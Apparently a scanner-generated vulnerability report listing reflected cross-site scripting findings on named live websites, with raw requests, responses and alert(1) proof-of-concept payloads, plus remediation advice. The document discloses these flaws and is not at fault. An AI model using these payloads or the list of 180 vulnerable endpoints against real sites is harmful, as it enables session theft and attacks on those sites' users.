XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 09162011-01

The value of the vuid cookie submitted to the URL /chat_init.js is copied into the HTML document as plain text between tags at the URL /chat_init.js. The payload 26902<script>alert(1)</script>e2b4dabe39a was submitted in the vuid cookie. This input was returned unmodified in a subsequent request for the URL /chat_init.js.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request 1

GET /chat_init.js?sid=1821 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/s/about-us.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c6226902<script>alert(1)</script>e2b4dabe39a; 1821vvc=2; 1821_idz=5BpDOKWS%2FkTWJm9Ev43C3ZPykmP%2BjsF4UYhz2VCIbR5txUhC6T%2BKwcCy9hJI8FcKUpAluYKb7y06d1kbXbWzvBgMnamPiXsbv3txM1yX0mRiW%2BbVh%2BBgOShBexiJWk1C%2Fqg6%2FrIk%2FMsGsiO5jNlOTe7aqOeQ; 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A1%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316198661%2C%22navTime%22%3A1000%2C%22origin_site%22%3A%22%22%2C%22origin%22%3A%22direct%22%2C%22refengine%22%3A%22%22%2C%22refkeyword%22%3A%22%22%7D

Request 2

GET /chat_init.js?sid=1821 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; 1821vvc=1

Response 2

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 18:44:51 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c6226902%3Cscript%3Ealert%281%29%3C%2Fscript%3Ee2b4dabe39a; expires=Sun, 15-Sep-2013 18:44:51 GMT; path=/
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A1%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A17%2C%22connectionTime%22%3A1316198661%2C%22navTime%22%3A30000%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.mailjet.com%5C%2F%22%2C%22timeElapsed%22%3A0.5%7D; path=/
Expires: Mon, 22 Jan 1978 12:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 42204

if(typeof(iAdvize) !== 'object'){

if (/Safari/.test(navigator.userAgent) && !(/Chrome/.test(navigator.userAgent))) {
   var Sbody = document.getElementsByTagName( 'BODY' )[ 0 ];
   var newNode = docume
...[SNIP]...

       iframe.name = name;
       iframe.src = 'javascript:false';
       div.appendChild(iframe);
       form.action = 'http://livechat.iadvize.com/saveuid.php?sid=1821&vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c6226902<script>alert(1)</script>e2b4dabe39a';
       form.method = 'POST';
       form.target = name;
       div.appendChild(form);
       form.submit();
   }, 10);
}

if(typeof(iAdvize2) === 'undefined'){
           iAdvize2 = {}
}

/*! LAB.js (LABjs :: Loading And Blockin
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 180 instances of this issue:

http://a.collective-media.net/adj/ds.home/default [REST URL parameter 2]
http://a.collective-media.net/adj/ds.home/default [REST URL parameter 3]
http://a.collective-media.net/adj/ds.home/default [cmn parameter]
http://a.collective-media.net/adj/ds.home/default [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 1]
http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 2]
http://a.collective-media.net/cmadj/ds.home/default [REST URL parameter 3]
http://a.collective-media.net/cmadj/ds.home/default [cmn parameter]
http://event.adxpose.com/event.flow [uid parameter]
http://livechat.iadvize.com/rpc/referrer.php [get parameter]
http://livechat.iadvize.com/rpc/referrer.php [get parameter]
https://login.secureserver.net/js.php [name of an arbitrarily supplied request parameter]
https://login.secureserver.net/js.php [r parameter]
http://rover.ebay.com/ar/1/711-53200-19255-108/1 [REST URL parameter 3]
http://rover.ebay.com/ar/1/711-53200-19255-108/1 [mpvc parameter]
http://rover.ebay.com/ar/1/711-53200-19255-108/1 [name of an arbitrarily supplied request parameter]
http://srv.healthheadlines.com/s.php [k parameter]
http://srv.healthheadlines.com/s.php [name of an arbitrarily supplied request parameter]
http://t.tellapart.com/hif [p parameter]
http://widgets.digg.com/buttons/count [url parameter]
http://widgetsplus.com/google_plus_widget.php [bbc parameter]
http://widgetsplus.com/google_plus_widget.php [bbgc parameter]
http://widgetsplus.com/google_plus_widget.php [bc parameter]
http://widgetsplus.com/google_plus_widget.php [bfc parameter]
http://widgetsplus.com/google_plus_widget.php [bmobc parameter]
http://widgetsplus.com/google_plus_widget.php [bmoc parameter]
http://widgetsplus.com/google_plus_widget.php [bmofc parameter]
http://widgetsplus.com/google_plus_widget.php [bw parameter]
http://widgetsplus.com/google_plus_widget.php [fs parameter]
http://widgetsplus.com/google_plus_widget.php [host parameter]
http://widgetsplus.com/google_plus_widget.php [mbc parameter]
http://widgetsplus.com/google_plus_widget.php [mbgc parameter]
http://widgetsplus.com/google_plus_widget.php [name of an arbitrarily supplied request parameter]
http://widgetsplus.com/google_plus_widget.php [nc parameter]
http://widgetsplus.com/google_plus_widget.php [pc parameter]
http://widgetsplus.com/google_plus_widget.php [t parameter]
http://widgetsplus.com/google_plus_widget.php [tc parameter]
http://widgetsplus.com/google_plus_widget.php [tlc parameter]
http://ws.amazon.com/widgets/q [InstanceId parameter]
http://ws.amazon.com/widgets/q [rt parameter]
http://www.drugstore.com/ [name of an arbitrarily supplied request parameter]
http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp [name of an arbitrarily supplied request parameter]
http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx [callback parameter]
http://www.godaddy.com/external/json/PcSetData.aspx [callback parameter]
http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx [callback parameter]
http://www.powermta.port25.com/ [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/download-a-white-paper/ [REST URL parameter 1]
http://www.powermta.port25.com/download-a-white-paper/ [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/smtp-server-software-2/ [REST URL parameter 1]
http://www.powermta.port25.com/smtp-server-software-2/ [gclid parameter]
http://www.powermta.port25.com/smtp-server-software-2/ [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.ico [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [REST URL parameter 5]
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [name of an arbitrarily supplied request parameter]
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 1]
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 2]
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 3]
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 4]
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [name of an arbitrarily supplied request parameter]
http://www.smtp.com/ [gclid parameter]
http://www.smtp.com/ [name of an arbitrarily supplied request parameter]
http://www.smtp.com/favicon.ico [REST URL parameter 1]
http://www.smtp.com/jackpot_config [REST URL parameter 1]
http://www.smtp.com/service-info [REST URL parameter 1]
http://www.smtp.com/service-info [name of an arbitrarily supplied request parameter]
http://www.smtp.com/signup [REST URL parameter 1]
http://www.smtp.com/smtpcom-jackpot-vert.swf [REST URL parameter 1]
https://www.smtp.com/favicon.ico [REST URL parameter 1]
https://www.smtp.com/signup [REST URL parameter 1]
https://www.smtp.com/signup [name of an arbitrarily supplied request parameter]
http://www.thewhir.com/favicon.ico [REST URL parameter 1]
http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites [REST URL parameter 1]
http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites [REST URL parameter 1]
http://www.ubm.com/en/people/ubm-people.aspx [body_0%24main_0%24ctl02%24ctl01%24ctl00 parameter]
http://www.ubm.com/en/site-services/search/search-result.aspx [Domain parameter]
http://www.ubm.com/en/site-services/search/search-result.aspx [name of an arbitrarily supplied request parameter]
http://www.ubmlive.com/image/image_gallery [groupId parameter]
http://www.ubmlive.com/image/image_gallery [uuid parameter]
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [bc parameter]
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [bgc parameter]
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [fc parameter]
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [fs parameter]
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 [width parameter]
http://livechat.iadvize.com/chat_init.js [Referer HTTP header]
http://a.collective-media.net/cmadj/ds.home/default [cli cookie]
http://livechat.iadvize.com/chat_init.js [vuid cookie]
https://support.socketlabs.com/index.php/Base/User/Login [SWIFT_client cookie]
https://support.socketlabs.com/index.php/Base/UserRegistration/Register [SWIFT_client cookie]
https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit [SWIFT_client cookie]
https://support.socketlabs.com/rss [SWIFT_client cookie]
https://support.socketlabs.com/rss/ [SWIFT_client cookie]
http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1 [AA002 cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

2.1. http://a.collective-media.net/adj/ds.home/default [REST URL parameter 2] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ds.home/default

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 34dac'-alert(1)-'805d0111dab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ds.home34dac'-alert(1)-'805d0111dab/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;ord=110916093024416? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

2.2. http://a.collective-media.net/adj/ds.home/default [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ds.home/default

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77b5c'-alert(1)-'c1bc23b80c2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ds.home/default77b5c'-alert(1)-'c1bc23b80c2;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;ord=110916093024416? HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Fri, 16 Sep 2011 16:30:31 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:31 GMT
Content-Length: 567

var cmPageURL; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var cmifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt type="text/javascript" language="javascript" src="http://a.collective-media.net/cmadj/ds.home/default77b5c'-alert(1)-'c1bc23b80c2;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?;'+cmifr+'ord1=' +Math.floor(Math.random() * 10000
...[SNIP]...

2.3. http://a.collective-media.net/adj/ds.home/default [cmn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ds.home/default

Issue detail

The value of the cmn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3899c'-alert(1)-'8f689636d48 was submitted in the cmn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;ord=110916093024416?3899c'-alert(1)-'8f689636d48 HTTP/1.1
Host: a.collective-media.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: cli=121773f9380f32f; dc=sea

Response

HTTP/1.1 200 OK
Server: nginx/1.0.5
Date: Fri, 16 Sep 2011 16:30:30 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: dc=sea-sea5e882f0cc633a37397b8ee1b; domain=collective-media.net; path=/; expires=Sun, 16-Oct-2011 16:30:30 GMT
Content-Length: 567

var cmPageURL; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var cmifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt type="text/javascript" lang
...[SNIP]...
ttp://a.collective-media.net/cmadj/ds.home/default;cmn=wfm;ugc=0;!c=ds;sz=300x250;ux=2ee636e8-ffbb-4707-83f7-1e5c10da5819;pos=top;u=ds;dcopt=ist;ptile=1;s=ds.home;z=default;net=wfm;ord=110916093024416?3899c'-alert(1)-'8f689636d48;'+cmifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

2.4. http://a.collective-media.net/adj/ds.home/default [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ds.home/default

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3ff71'-alert(1)-'ea28fe8c229 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

